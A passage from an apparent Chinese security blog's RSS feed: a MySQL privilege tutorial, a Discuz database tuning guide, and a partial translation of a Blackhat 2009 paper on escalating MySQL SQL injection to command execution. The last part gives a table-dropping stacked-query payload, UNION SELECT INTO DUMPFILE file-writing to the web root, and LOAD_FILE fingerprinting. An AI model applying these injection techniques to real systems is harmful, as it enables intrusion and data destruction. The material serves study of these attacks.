2)通过权限验证，进行权限分配时，按照userdbtables_privcolumns_priv的顺序进行分配。即先检查全局权限表 user，如果user中对应的权限为Y，则此用户对所有数据库的权限都为Y，将不再检查db, tables_priv,columns_priv；如果为N，则到db表中检查此用户对应的具体数据库，并得到db中为Y的权限；如果db中为N，则检 查tables_priv中此数据库对应的具体表，取得表中的权限Y，以此类推。<br />
二．MySQL各种权限（共27个）<br />
（以下操作都是以root身份登陆进行grant授权，以p1@localhost身份登陆执行各种命令。）<br />
<span id="more-1043"></span><br />
1. usage<br />
连接（登陆）权限，建立一个用户，就会自动授予其usage权限（默认授予）。<br />
mysql&gt; grant usage on *.* to ‘p1′@’localhost’ identified by ‘123′;<br />
该权限只能用于数据库登陆，不能执行任何操作；且usage权限不能被回收，也即REVOKE用户并不能删除用户。<br />
2. select<br />
必须有select的权限，才可以使用select table<br />
mysql&gt; grant select on pyt.* to ‘p1′@’localhost’;<br />
mysql&gt; select * from shop;<br />
3. create<br />
必须有create的权限，才可以使用create table<br />
mysql&gt; grant create on pyt.* to ‘p1′@’localhost’;<br />
4. create routine<br />
必须具有create routine的权限，才可以使用{create |alter|drop} {procedure|function}<br />
mysql&gt; grant create routine on pyt.* to ‘p1′@’localhost’;<br />
当授予create routine时，自动授予EXECUTE, ALTER ROUTINE权限给它的创建者：<br />
mysql&gt; show grants for ‘p1′@’localhost’;<br />
+—————————————————————————+<br />
Grants for p1@localhost<br />
+————————————————————————–+<br />
| GRANT USAGE ON *.* TO ‘p1′@’localhost’ IDENTIFIED BY PASSWORD ‘*23AE809DDACAF96AF0FD78ED04B6A265E05AA257′ |<br />
| GRANT SELECT, CREATE, CREATE ROUTINE ON `pyt`.* TO ‘p1′@’localhost’|<br />
| GRANT EXECUTE, ALTER ROUTINE ON PROCEDURE `pyt`.`pro_shop1` TO ‘p1′@’localhost’ |<br />
+————————————————————————————-+<br />
5. create temporary tables(注意这里是tables，不是table)<br />
必须有create temporary tables的权限，才可以使用create temporary tables.<br />
mysql&gt; grant create temporary tables on pyt.* to ‘p1′@’localhost’;<br />
[mysql@mydev ~]$ mysql -h localhost -u p1 -p pyt<br />
mysql&gt; create temporary table tt1(id int);<br />
6. create view<br />
必须有create view的权限，才可以使用create view<br />
mysql&gt; grant create view on pyt.* to ‘p1′@’localhost’;<br />
mysql&gt; create view v_shop as select price from shop;<br />
7. create user<br />
要使用CREATE USER，必须拥有mysql数据库的全局CREATE USER权限，或拥有INSERT权限。<br />
mysql&gt; grant create user on *.* to ‘p1′@’localhost’;<br />
或：mysql&gt; grant insert on *.* to p1@localhost;<br />
8. insert<br />
必须有insert的权限，才可以使用insert into ….. values….<br />
9. alter<br />
必须有alter的权限，才可以使用alter table<br />
alter table shop modify dealer char(15);<br />
10. alter routine<br />
必须具有alter routine的权限，才可以使用{alter |drop} {procedure|function}<br />
mysql&gt;grant alter routine on pyt.* to ‘p1′@’ localhost ‘;<br />
mysql&gt; drop procedure pro_shop;<br />
Query OK, 0 rows affected (0.00 sec)</p>
<p>mysql&gt; revoke alter routine on pyt.* from ‘p1′@’localhost’;<br />
[mysql@mydev ~]$ mysql -h localhost -u p1 -p pyt<br />
mysql&gt; drop procedure pro_shop;<br />
ERROR 1370 (42000): alter routine command denied to user ‘p1′@’localhost’ for routine ‘pyt.pro_shop’<br />
11. update<br />
必须有update的权限，才可以使用update table<br />
mysql&gt; update shop set price=3.5 where article=0001 and dealer=’A’;<br />
12. delete<br />
必须有delete的权限，才可以使用delete from ….where….(删除表中的记录)<br />
13. drop<br />
必须有drop的权限，才可以使用drop database db_name; drop table tab_name;<br />
drop view vi_name; drop index in_name;<br />
14. show database<br />
通过show database只能看到你拥有的某些权限的数据库，除非你拥有全局SHOW DATABASES权限。<br />
对于p1@localhost用户来说，没有对mysql数据库的权限，所以以此身份登陆查询时，无法看到mysql数据库：<br />
mysql&gt; show databases;<br />
+——————–+<br />
| Database |<br />
+——————–+<br />
| information_schema|<br />
| pyt |<br />
| test |<br />
+——————–+<br />
15. show view<br />
必须拥有show view权限，才能执行show create view。<br />
mysql&gt; grant show view on pyt.* to p1@localhost;<br />
mysql&gt; show create view v_shop;<br />
16. index<br />
必须拥有index权限，才能执行[create |drop] index<br />
mysql&gt; grant index on pyt.* to p1@localhost;<br />
mysql&gt; create index ix_shop on shop(article);<br />
mysql&gt; drop index ix_shop on shop;<br />
17. excute<br />
执行存在的Functions,Procedures<br />
mysql&gt; call pro_shop1(0001,@a)；<br />
+———+<br />
| article |<br />
+———+<br />
| 0001 |<br />
| 0001 |<br />
+———+<br />
mysql&gt; select @a;<br />
+——+<br />
| @a |<br />
+——+<br />
| 2 |<br />
+——+<br />
18. lock tables<br />
必须拥有lock tables权限，才可以使用lock tables<br />
mysql&gt; grant lock tables on pyt.* to p1@localhost;<br />
mysql&gt; lock tables a1 read;<br />
mysql&gt; unlock tables;<br />
19. references<br />
有了REFERENCES权限，用户就可以将其它表的一个字段作为某一个表的外键约束。<br />
20. reload<br />
必须拥有reload权限，才可以执行flush [tables | logs | privileges]<br />
mysql&gt; grant reload on pyt.* to p1@localhost;<br />
ERROR 1221 (HY000): Incorrect usage of DB GRANT and GLOBAL PRIVILEGES<br />
mysql&gt; grant reload on *.* to ‘p1′@’localhost’;<br />
Query OK, 0 rows affected (0.00 sec)<br />
mysql&gt; flush tables;<br />
21. replication client<br />
拥有此权限可以查询master server、slave server状态。<br />
mysql&gt; show master status;<br />
ERROR 1227 (42000): Access denied; you need the SUPER,REPLICATION CLIENT privilege for this operation<br />
mysql&gt; grant Replication client on *.* to p1@localhost;<br />
或：mysql&gt; grant super on *.* to p1@localhost;<br />
mysql&gt; show master status;<br />
+——————+———-+————–+——————+<br />
| File | Position | Binlog_Do_DB | Binlog_Ignore_DB |<br />
+——————+———-+————–+——————+<br />
| mysql-bin.000006 | 2111 | | |<br />
+——————+———-+————–+——————+<br />
mysql&gt; show slave status;<br />
22. replication slave<br />
拥有此权限可以查看从服务器，从主服务器读取二进制日志。<br />
mysql&gt; show slave hosts;<br />
ERROR 1227 (42000): Access denied; you need the REPLICATION SLAVE privilege for this operation<br />
mysql&gt; show binlog events;<br />
ERROR 1227 (42000): Access denied; you need the REPLICATION SLAVE privilege for this operation<br />
mysql&gt; grant replication slave on *.* to p1@localhost;<br />
mysql&gt; show slave hosts;<br />
Empty set (0.00 sec)<br />
mysql&gt;show binlog events;<br />
+—————+——-+—————-+———–+————-+————–+<br />
| Log_name | Pos | Event_type | Server_id| End_log_pos|Info | +—————+——-+————–+———–+————-+—————+<br />
| mysql-bin.000005 | 4 | Format_desc | 1 | 98 | Server ver: 5.0.77-log, Binlog ver: 4 | |mysql-bin.000005|98|Query|1|197|use `mysql`; create table a1(i int)engine=myisam|<br />
……………………………………<br />
23. Shutdown<br />
关闭MySQL：<br />
[mysql@mydev ~]$ mysqladmin shutdown<br />
重新连接：<br />
[mysql@mydev ~]$ mysql<br />
ERROR 2002 (HY000): Can’t connect to local MySQL server through socket ‘/tmp/mysql.sock’ (2)<br />
[mysql@mydev ~]$ cd /u01/mysql/bin<br />
[mysql@mydev bin]$ ./mysqld_safe &amp;<br />
[mysql@mydev bin]$ mysql<br />
24. grant option<br />
拥有grant option，就可以将自己拥有的权限授予其他用户（仅限于自己已经拥有的权限）<br />
mysql&gt; grant Grant option on pyt.* to p1@localhost;<br />
mysql&gt; grant select on pyt.* to p2@localhost;<br />
25. file<br />
拥有file权限才可以执行 select ..into outfile和load data infile…操作，但是不要把file, process, super权限授予管理员以外的账号，这样存在严重的安全隐患。<br />
mysql&gt; grant file on *.* to p1@localhost;<br />
mysql&gt; load data infile ‘/home/mysql/pet.txt’ into table pet;<br />
26. super<br />
这个权限允许用户终止任何查询；修改全局变量的SET语句；使用CHANGE MASTER，PURGE MASTER LOGS。<br />
mysql&gt; grant super on *.* to p1@localhost;<br />
mysql&gt; purge master logs before ‘mysql-bin.000006′;<br />
27. process<br />
通过这个权限，用户可以执行SHOW PROCESSLIST和KILL命令。默认情况下，每个用户都可以执行SHOW PROCESSLIST命令，但是只能查询本用户的进程。<br />
mysql&gt; show processlist;<br />
+—-+——+———–+——+———+——+——-+——————+<br />
| Id | User | Host | db | Command | Time | State | Info |<br />
+—-+——+———–+——+———+——+——-+——————+<br />
| 12 | p1 | localhost | pyt | Query | 0 | NULL | show processlist |<br />
+—-+——+———–+——+———+——+——-+——————+<br />
另外，<br />
管理权限（如 super， process， file等）不能够指定某个数据库，on后面必须跟*.*<br />
mysql&gt; grant super on pyt.* to p1@localhost;<br />
ERROR 1221 (HY000): Incorrect usage of DB GRANT and GLOBAL PRIVILEGES<br />
mysql&gt; grant super on *.* to p1@localhost;<br />
Query OK, 0 rows affected (0.01 sec)</p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2011年06月2日 -- <a href="http://www.4shell.org/archives/1935.html" title="Mysql安全">Mysql安全</a></li><li>2011年04月28日 -- <a href="http://www.4shell.org/archives/1897.html" title="MySQL.com和Sun.com到底是如何被黑的？">MySQL.com和Sun.com到底是如何被黑的？</a></li><li>2010年06月3日 -- <a href="http://www.4shell.org/archives/1766.html" title="Mysql另类盲注中的一些技巧">Mysql另类盲注中的一些技巧</a></li><li>2010年04月30日 -- <a href="http://www.4shell.org/archives/1745.html" title="MySQL监控快速指南">MySQL监控快速指南</a></li><li>2009年11月23日 -- <a href="http://www.4shell.org/archives/1173.html" title="MySQL安装详细图解">MySQL安装详细图解</a></li><li>2009年11月5日 -- <a href="http://www.4shell.org/archives/1156.html" title="MySQL导入数据库文件最大限制2048KB的修改解决办法">MySQL导入数据库文件最大限制2048KB的修改解决办法</a></li><li>2009年09月2日 -- <a href="http://www.4shell.org/archives/1085.html" title="SQL Server系统表的作用 安全检查列表 SQL Server的用户及权限">SQL Server系统表的作用 安全检查列表 SQL Server的用户及权限</a></li><li>2009年09月2日 -- <a href="http://www.4shell.org/archives/1083.html" title="MySQL数据库安全配置指南">MySQL数据库安全配置指南</a></li><li>2009年08月24日 -- <a href="http://www.4shell.org/archives/1040.html" title="MySQL优化 之 Discuz论坛优化">MySQL优化 之 Discuz论坛优化</a></li><li>2009年08月3日 -- <a href="http://www.4shell.org/archives/991.html" title="高级Mysql攻击技术(翻译blackhat 2009文章)">高级Mysql攻击技术(翻译blackhat 2009文章)</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1043.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MySQL优化 之 Discuz论坛优化</title>
		<link>http://www.4shell.org/archives/1040.html</link>
		<comments>http://www.4shell.org/archives/1040.html#comments</comments>
		<pubDate>Sun, 23 Aug 2009 17:41:10 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[Discuz]]></category>
		<category><![CDATA[MySQL]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/1040.html</guid>
		<description><![CDATA[discuz是很不错的论坛，大站用他的话还得有针对性的优化下mysql，转载开始。 作/译者：叶金荣，来源：http://imysql.cn，转载请注明作/译者和出处，并且不能用于商业用途，违者必究。 一. 前言 近日由于需要,对discuz论坛(简称dz)进行优化,当然了,只是涉及到数据库的优化. 先说一下服务器及dz的数据量,2 * Intel(R) Xeon(TM) CPU 2.40GHz, 4GB mem, SCISC硬盘. MySQL 版本为 4.0.23. 数据表情况: cdb_attachments 2万 cdb_members 10万 cdb_posts 68万 cdb_threads 7万 二. 缓存优化 在 my.cnf 中添加/修改以下选项: #取消文件系统的外部锁 skip-locking #不进行域名反解析,注意由此带来的权限/授权问题 skip-name-resolve #索引缓存,根据内存大小而定,如果是独立的db服务器,可以设置高达80%的内存总量 key_buffer = 512M #连接排队列表总数 back_log = 200 max_allowed_packet = 2M #打开表缓存总数,可以避免频繁的打开数据表产生的开销 table_cache = 512 #每个线程排序所需的缓冲 sort_buffer_size = 4M #每个线程读取索引所需的缓冲 [...]]]></description>
			<content:encoded><![CDATA[<p><span>discuz是很不错的论坛，大站用他的话还得有针对性的优化下mysql，转载开始。</span></p>
<p><span><span id="more-2711"> </span></span></p>
<p><span>作/译者：叶金荣，来源：<a href="http://imysql.cn/">http://imysql.cn</a>，转载请注明作/译者和出处，并且不能用于商业用途，违者必究。</span></p>
<p>一. 前言<br />
近日由于需要,对discuz论坛(简称dz)进行优化,当然了,只是涉及到数据库的优化.<br />
先说一下服务器及dz的数据量,2 * Intel(R) Xeon(TM) CPU 2.40GHz, 4GB mem, SCISC硬盘.<br />
MySQL 版本为 4.0.23. 数据表情况:<br />
cdb_attachments 2万<br />
cdb_members 10万<br />
cdb_posts 68万<br />
cdb_threads 7万<br />
二. 缓存优化<br />
在 my.cnf 中添加/修改以下选项:<br />
<span id="more-1040"></span></p>
<pre> #取消文件系统的外部锁
skip-locking
#不进行域名反解析,注意由此带来的权限/授权问题
skip-name-resolve
#索引缓存,根据内存大小而定,如果是独立的db服务器,可以设置高达80%的内存总量
key_buffer = 512M
#连接排队列表总数
back_log = 200
max_allowed_packet = 2M
#打开表缓存总数,可以避免频繁的打开数据表产生的开销
table_cache = 512
#每个线程排序所需的缓冲
sort_buffer_size = 4M
#每个线程读取索引所需的缓冲
read_buffer_size = 4M
#MyISAM表发生变化时重新排序所需的缓冲
myisam_sort_buffer_size = 64M
#缓存可重用的线程数
thread_cache = 128
#查询结果缓存
query_cache_size = 128M
#设置超时时间,能避免长连接
set-variable = wait_timeout=60
#最大并发线程数,cpu数量*2
thread_concurrency = 4
#记录慢查询,然后对慢查询一一优化
log-slow-queries = slow.log
long_query_time = 1
#关闭不需要的表类型,如果你需要,就不要加上这个
skip-bdb</pre>
<p>以上参数根据各自服务器的配置差异进行调整,仅作为参考.<br />
三. 索引优化<br />
上面提到了,已经开启了慢查询,那么接下来就要对慢查询进行逐个优化了.<br />
1. 搜索优化<br />
搜索的查询SQL大致如下:</p>
<pre> SELECT t.* FROM cdb_posts p, cdb_threads t WHERE
t.fid IN ('37', '45', '4', '6', '17', '41', '28', '32', '31', '1', '42')
AND p.tid=t.tid AND p.author LIKE 'JoansWin'
GROUP BY t.tid ORDER BY lastpost DESC LIMIT 0, 80;</pre>
<p>用 EXPLAIN 分析的结果如下:</p>
<pre> mysql&gt;EXPLAIN  SELECT t.* FROM cdb_posts p, cdb_threads t WHERE
t.fid IN ('37', '45', '4', '6', '17', '41', '28', '32', '31', '1', '42')
AND p.tid=t.tid AND p.author LIKE 'JoansWin'
GROUP BY t.tid ORDER BY lastpost DESC LIMIT 0, 80;
+-----------+------------+----------+--------------+-------------+-----------+-------------+
| id | select_type | table | type  | possible_keys | key  | key_len | ref         | rows  | Extra
+-----------+------------+----------+--------------+-------------+-----------+-------------+
|  1 | SIMPLE      | t     | range | PRIMARY,fid   | fid  | 2       | NULL        | 66160 | Using where;
Using temporary; Using filesort |
|  1 | SIMPLE      | p     | ref   | tid           | tid  | 3       | Forum.t.tid   |    10 | Using where
| +----+-------------+-------+-------+---------------+------+---------+-------------+-------+
---------</pre>
<p>只用到了 <code>t.fid</code> 和 <code>p.tid</code>,而 <code>p.author</code> 则没有索引可用,总共需要扫描<br />
<code>66160*10 = 661600 </code>次索引,够夸张吧 :(<br />
再分析 <code>cdb_threads</code> 和 <code>cdb_posts</code> 的索引情况:</p>
<pre> mysql&gt;show index from cdb_posts;
+-----------+------------+----------+--------------+-------------+-----------+----------
---+----------+--------+------+--+
| Table     | Non_unique | Key_name | Seq_in_index | Column_name | Collation | Cardinality | Sub_part |
Packed | Null | Index_type | Comment | +-----------+------------+----------+--------------+----
---------+-----------+-------------+----------+--------+------+--+
| cdb_posts |          0 | PRIMARY  |            1 | pid         | A         |      680114 |     NULL | NULL   |
| BTREE      |         |
| cdb_posts |          1 | fid      |            1 | fid         | A         |          10 |     NULL | NULL   |
| BTREE      |         |
| cdb_posts |          1 | tid      |            1 | tid         | A         |       68011 |     NULL | NULL   |
| BTREE      |         |
| cdb_posts |          1 | tid      |            2 | dateline    | A         |      680114 |     NULL | NULL   |
| BTREE      |         |
| cdb_posts |          1 | dateline |            1 | dateline    | A         |      680114 |     NULL | NULL   |
| BTREE      |         |
+-----------+------------+----------+--------------+-------------+-----------+---</pre>
<p>以及</p>
<pre> mysql&gt;show index from cdb_threads;
+-----------+------------+----------+--------------+-------------+-----------+-------------+
----------+--------+------+-----+
| Table       | Non_unique | Key_name  | Seq_in_index | Column_name | Collation | Cardinality | Sub_part |
Packed | Null | Index_type | Comment | +-----------+------------+----------+--------------+-----
--------+-----------+-------------+----------+--------+------+-----+
| cdb_threads |          0 | PRIMARY   |            1 | tid         | A         |       68480 |     NULL | NULL   |
| BTREE      |         |
| cdb_threads |          1 | lastpost  |            1 | topped      | A         |           4 |     NULL | NULL   |
| BTREE      |         |
| cdb_threads |          1 | lastpost  |            2 | lastpost    | A         |       68480 |     NULL | NULL   |
| BTREE      |         |
| cdb_threads |          1 | lastpost  |            3 | fid         | A         |       68480 |     NULL | NULL   |
| BTREE      |         |
| cdb_threads |          1 | replies   |            1 | replies     | A         |         233 |     NULL | NULL   |
| BTREE      |         |
| cdb_threads |          1 | dateline  |            1 | dateline    | A         |       68480 |     NULL | NULL   |
| BTREE      |         |
| cdb_threads |          1 | fid       |            1 | fid         | A         |          10 |     NULL | NULL   |
| BTREE      |         |
| cdb_threads |          1 | enablehot |            1 | enablehot   | A         |           2 |     NULL | NULL   |
| BTREE      |         | +-------------+------------+-----------+--------------+-------------+------</pre>
<p>看到索引 <code>fid</code> 和 <code>enablehot</code> 基数太小,看来该索引完全没必要,不过,对于fid基数较大的情况,则可能需要保留&gt;该索引.<br />
所做修改如下:</p>
<pre> ALTER TABLE `cdb_threads` DROP INDEX `enablehot`, DROP INDEX `fid`, ADD INDEX (`fid`, `lastpost`);
ALTER TABLE `cdb_posts` DROP INDEX `fid`, ADD INDEX (`author`(10));
OPTIMIZE TABLE `cdb_posts`;
OPTIMIZE TABLE `cdb_threads`;</pre>
<p>在这里, <code>p.author</code> 字段我设定的部分索引长度是 10, 是我经过分析后得出来的结果,不同的系统,这里的长度也不同,最好自己先取一下平均值,然后再适当调整.<br />
现在,再来执行一次上面的慢查询,发现时间已经从 6s 变成 0.19s,提高了 30 倍.<br />
这次先到这里,下次继续 ^_^</p>
<p>很早以前写过一个文章，是关于discuz论坛的优化：<a href="http://baoz.net/node/181">MySQL优化 之 Discuz论坛优化</a>。 写的时候是2006年，没想到过了这么久，discuz论坛的问题还是困扰着很多网友，其实从各论坛里看到的问题总结出来，很关键的一点都是因为没有将数 据表引擎转成InnoDB导致的，discuz在并发稍微高一点的环境下就表现的非常糟糕，产生大量的锁等待，这时候如果把数据表引擎改成InnoDB的 话，我相信会好很多。这次就写个扫盲贴吧。</p>
<p>1. 启用innodb引擎，并配置相关参数</p>
<pre>#skip-innodb
innodb_additional_mem_pool_size = 16M #一般16M也够了，可以适当调整下
innodb_buffer_pool_size = 6G #如果是专用db的话，一般是内存总量的80%
innodb_data_file_path = ibdata1:1024M:autoextend
innodb_file_io_threads = 4
innodb_thread_concurrency = 20
innodb_flush_log_at_trx_commit = 1
innodb_log_buffer_size = 16M
innodb_log_file_size = 256M
innodb_log_files_in_group = 3
innodb_max_dirty_pages_pct = 50
innodb_lock_wait_timeout = 120
innodb_file_per_table</pre>
<p>2. 修改表引擎为innodb</p>
<pre>mysql&gt; alter table cdb_access engine = innodb;</pre>
<p>其他表类似上面，把表名换一下即可…<br />
将表存储引擎改成innodb后，不仅可以避免大量的锁等待，还可以提升查询的效率，因为innodb会把data和index都放在buffer pool中，效率更高。</p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2011年06月2日 -- <a href="http://www.4shell.org/archives/1935.html" title="Mysql安全">Mysql安全</a></li><li>2011年04月28日 -- <a href="http://www.4shell.org/archives/1897.html" title="MySQL.com和Sun.com到底是如何被黑的？">MySQL.com和Sun.com到底是如何被黑的？</a></li><li>2010年06月3日 -- <a href="http://www.4shell.org/archives/1766.html" title="Mysql另类盲注中的一些技巧">Mysql另类盲注中的一些技巧</a></li><li>2010年04月30日 -- <a href="http://www.4shell.org/archives/1745.html" title="MySQL监控快速指南">MySQL监控快速指南</a></li><li>2010年03月12日 -- <a href="http://www.4shell.org/archives/1616.html" title="Discuz! 7.2 最新注入漏洞分析与利用">Discuz! 7.2 最新注入漏洞分析与利用</a></li><li>2010年01月9日 -- <a href="http://www.4shell.org/archives/1465.html" title="Discuz7 记录明文">Discuz7 记录明文</a></li><li>2010年01月7日 -- <a href="http://www.4shell.org/archives/1464.html" title="discuz!7.1、7.2远程代码执行漏洞exploit">discuz!7.1、7.2远程代码执行漏洞exploit</a></li><li>2009年11月23日 -- <a href="http://www.4shell.org/archives/1173.html" title="MySQL安装详细图解">MySQL安装详细图解</a></li><li>2009年11月14日 -- <a href="http://www.4shell.org/archives/1167.html" title=" Discuz!NT 3.0 特殊环境下利用漏洞 "> Discuz!NT 3.0 特殊环境下利用漏洞 </a></li><li>2009年11月5日 -- <a href="http://www.4shell.org/archives/1156.html" title="MySQL导入数据库文件最大限制2048KB的修改解决办法">MySQL导入数据库文件最大限制2048KB的修改解决办法</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1040.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>高级Mysql攻击技术(翻译blackhat 2009文章)</title>
		<link>http://www.4shell.org/archives/991.html</link>
		<comments>http://www.4shell.org/archives/991.html#comments</comments>
		<pubDate>Mon, 03 Aug 2009 02:19:47 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[MySQL]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/991.html</guid>
		<description><![CDATA[来源:cnbird blog:http://blog.csdn.net/cnbird2008 1.简介(文章中的堆查询其实就是联查) 这个文章主要描述怎样再LAMP和WAMP平台上实施远程命令执行代码通过SQL注入漏洞。攻击者再Mysql平台上进行SQL注入必须处理一 些限制和约束。例如,在一个不流行的平台中进行远程命令执行漏洞的一些查询语句缺乏复杂的声明,相对其他平台来说。再最近的这 些年一些人开始仔细研究,这些人专注于利用SQL注入漏洞进行随心所欲的代码执行漏洞。然而，这些类型的攻击集中在支持堆查询 DBMS连接上。这个文档将会解释怎么使用不同的方法去完成那些不支持堆查询的DBMS连接,并且得到跟支持堆查询的DBMS相同的结果 。 2.描述 SQL注入漏洞是把恶意代码注入到正常的SQL查询中的一种攻击方式.SQL注入攻击允许恶意的用户去得到数据库的结构和挖掘出宝贵的 应用操作系统环境。 运行命令执行漏洞已经被证实了是最高级别的恶意用户去获得成功的SQL注入攻击行为。 Mysql是在LAMP和WAMP上最流行的数据库服务器软件套件。DBMS连接默认是不支持堆查询。这就使得一些技术去实施远程代码执行漏 洞的条件是在某些平台需要支持堆查询。 3.堆查询 堆查询是一个去定义是否数据库连接层某个时刻能运行多于一个的查询语句。每个查询用分号分隔开。 下面的就是再SQL注入攻击中的一个堆查询的例子 SELECT name FROM record WHERE id = 1; DROP table record; DROP table address-- 在上面的例子中，在同一时刻这里有三个分离的查询请求。第一个查询是来自现实中应用程序的正常查询。这个查询允许进行数据库 查询，然而当堆查询默认进入Mysql-php应用,一个错误信息将会被应用程序返回，同时没有任何语句被执行。 4.攻击应用程序上不支持Mysql堆查询的方法 已经被发现的Mysql UDF(User Define Function)库创建技术,它能被用在支持堆查询的应用上进行远程代码命令执行漏洞。这个技术 已经再数据库黑客大曝光做了详细解释。 在Blackhat 2009欧洲大会上,Bernando Damele解释了相似的技术。下面的步骤来自于它的whitepaper 1)创建一个字段的表，数据类型是longblob 2)把本地文件的内容进行对等的16进制的转换。 3)切分16进制的字符串到1024字符长的大块 4)INSERT 第一个大块进支持表的字段里面 5)UPDATE其他的大的块添加到这个表的字段里面 6)导出表中的字段中的16进制的文件的内容到一个指定的目标文件路径,使用的方法是SELECT's INTO DUMPFILE.再Mysql上这个是可 以实现的，一个查询例如SELECT 0x41将会返回ASCII字母编码A。 这里有一些环境去实施这个堆查询 1) [...]]]></description>
			<content:encoded><![CDATA[<p>来源:cnbird</p>
<p>blog:http://blog.csdn.net/cnbird2008</p>
<p>1.简介(文章中的堆查询其实就是联查)<br />
这个文章主要描述怎样再LAMP和WAMP平台上实施远程命令执行代码通过SQL注入漏洞。攻击者再Mysql平台上进行SQL注入必须处理一</p>
<p>些限制和约束。例如,在一个不流行的平台中进行远程命令执行漏洞的一些查询语句缺乏复杂的声明,相对其他平台来说。再最近的这</p>
<p>些年一些人开始仔细研究,这些人专注于利用SQL注入漏洞进行随心所欲的代码执行漏洞。然而，这些类型的攻击集中在支持堆查询</p>
<p>DBMS连接上。这个文档将会解释怎么使用不同的方法去完成那些不支持堆查询的DBMS连接,并且得到跟支持堆查询的DBMS相同的结果</p>
<p>。</p>
<p>2.描述<br />
SQL注入漏洞是把恶意代码注入到正常的SQL查询中的一种攻击方式.SQL注入攻击允许恶意的用户去得到数据库的结构和挖掘出宝贵的</p>
<p>应用操作系统环境。<br />
运行命令执行漏洞已经被证实了是最高级别的恶意用户去获得成功的SQL注入攻击行为。<br />
Mysql是在LAMP和WAMP上最流行的数据库服务器软件套件。DBMS连接默认是不支持堆查询。这就使得一些技术去实施远程代码执行漏</p>
<p>洞的条件是在某些平台需要支持堆查询。</p>
<p>3.堆查询<br />
堆查询是一个去定义是否数据库连接层某个时刻能运行多于一个的查询语句。每个查询用分号分隔开。<br />
下面的就是再SQL注入攻击中的一个堆查询的例子<br />
SELECT name FROM record WHERE id = 1; DROP table record; DROP table address--</p>
<p>在上面的例子中，在同一时刻这里有三个分离的查询请求。第一个查询是来自现实中应用程序的正常查询。这个查询允许进行数据库</p>
<p>查询，然而当堆查询默认进入Mysql-php应用,一个错误信息将会被应用程序返回，同时没有任何语句被执行。</p>
<p><span id="more-991"></span></p>
<p>4.攻击应用程序上不支持Mysql堆查询的方法<br />
已经被发现的Mysql UDF(User Define Function)库创建技术,它能被用在支持堆查询的应用上进行远程代码命令执行漏洞。这个技术</p>
<p>已经再数据库黑客大曝光做了详细解释。</p>
<p>在Blackhat 2009欧洲大会上,Bernando Damele解释了相似的技术。下面的步骤来自于它的whitepaper<br />
1)创建一个字段的表，数据类型是longblob<br />
2)把本地文件的内容进行对等的16进制的转换。<br />
3)切分16进制的字符串到1024字符长的大块<br />
4)INSERT 第一个大块进支持表的字段里面<br />
5)UPDATE其他的大的块添加到这个表的字段里面<br />
6)导出表中的字段中的16进制的文件的内容到一个指定的目标文件路径,使用的方法是SELECT's INTO DUMPFILE.再Mysql上这个是可</p>
<p>以实现的，一个查询例如SELECT 0x41将会返回ASCII字母编码A。</p>
<p>这里有一些环境去实施这个堆查询<br />
1) DBMS连接必须支持堆查询<br />
2) Session用户必须有FILE,INSERT,CREATE和UPDATE权限<br />
3)再一些低于Mysql 5.1.19的版本中，工项目路径必须对于Session用户可写。<br />
4)再高于Mysql 5.1.19的版本上，系统变量plugin_dir必须存在并且对于Session用户可写。</p>
<p>现在大家已经知道了这个技术有一些限制，默认的,作为mysql用户启动的Linux Mysql共享库的路径是不可写的。</p>
<p>然而这个特性并不适合于windows。默认windows的Mysql运行账户是Local System，也就是说文件可以被用户创建到任何文件夹。最</p>
<p>新的Mysql版本，系统变量plugin_dir已经不存在了,这个目录可以创建同时可以被Session用户写入。</p>
<p>5.攻击Mysql不支持堆查询的方法</p>
<p>由于再Mysql-PHP平台上不支持堆查询，运行另外一个查询再正常的语句后是不可能的。然而运行另外一个SELECT查询是可以使用</p>
<p>UNION语法的。UNION语法是合并多个SELECT查询到一个单独的结果中。</p>
<p>Mysql 5.1的官方手册(省略自己去官方看SELECTG语法)</p>
<p>从上面可以看到我们可以通过UNION SELECT使用SELECT INTO DUMPFILE去把可执行的文件上传到数据库服务器上。当注入这个查询的</p>
<p>时候，只有唯一的语句可以创建全部的文件。同样的，这个文件不能被另外一个SELECT INTO DUMPFILE语句覆盖掉。</p>
<p>来自Mysql官方文档<br />
Only the last SELECT statement can use INTO OUTFILE/DUMPFILE. (However,the entire UNION result is written to the</p>
<p>file.)<br />
由于UNION查询的特定，数据将会写入到文件中。<br />
例如<br />
SELECT content FROM data WHERE id=21 UNION SELECT 0x8A789C....... INTO DUMPFILE ‘file’</p>
<p>第一个查询返回任何数据，这个数据将会覆盖文件头部。预防这个的方法就是，我们可以再WHERE字段插入任何不存在的值所以没有</p>
<p>数据从这个查询冲被取出。<br />
这个文件可以被运行再WEB目录里面,在这个例子里面DBMS连接不支持堆查询，所以最好的方法是上传文件到Apache WEB server目录</p>
<p>，然而这个只可能再mysql数据库和WEB SERVER再同一个机器上。PHP脚本可以运行SYSTEM函数。同样的这个技术也有一些限制:<br />
1)必须知道Apache的WEB SERVER目录<br />
2)Session用户必须有FILE权限<br />
3)Session用户可以访问上传到WEB SERVER服务器的目录的文件。<br />
自己补充一个4) GPC为off</p>
<p>6.WEB服务器目录的指纹<br />
在一些实例中WEB服务器的主目录不是默认安装的目录,指纹获取可以被用于获取这个信息，这里主要有2个方式去找到WEB服务器目录</p>
<p>的指纹。主要是通过应用程序返回的错误信息可以得到这个指纹。</p>
<p>6.1通过错误信息方法或者指纹<br />
默认的PHP关闭了错误信息。这里有多种方法去返回包含WEB服务器目录的错误信息。例如，再SQL语句部分输入一个单引号，错误信</p>
<p>息就暴露出来了。下面有一个使用'出错的例子<br />
Fatal error: Call to a member function execute() on a non-object in /var/www/output.php<br />
on line 15<br />
6.2通过LOAD_FILE方式获得指纹<br />
LOAD_FILE可以去读取数据库服务器上的文件。去使用这个过程，Session用户必须有文件权限。这个文件同时对于所有用户可取同时</p>
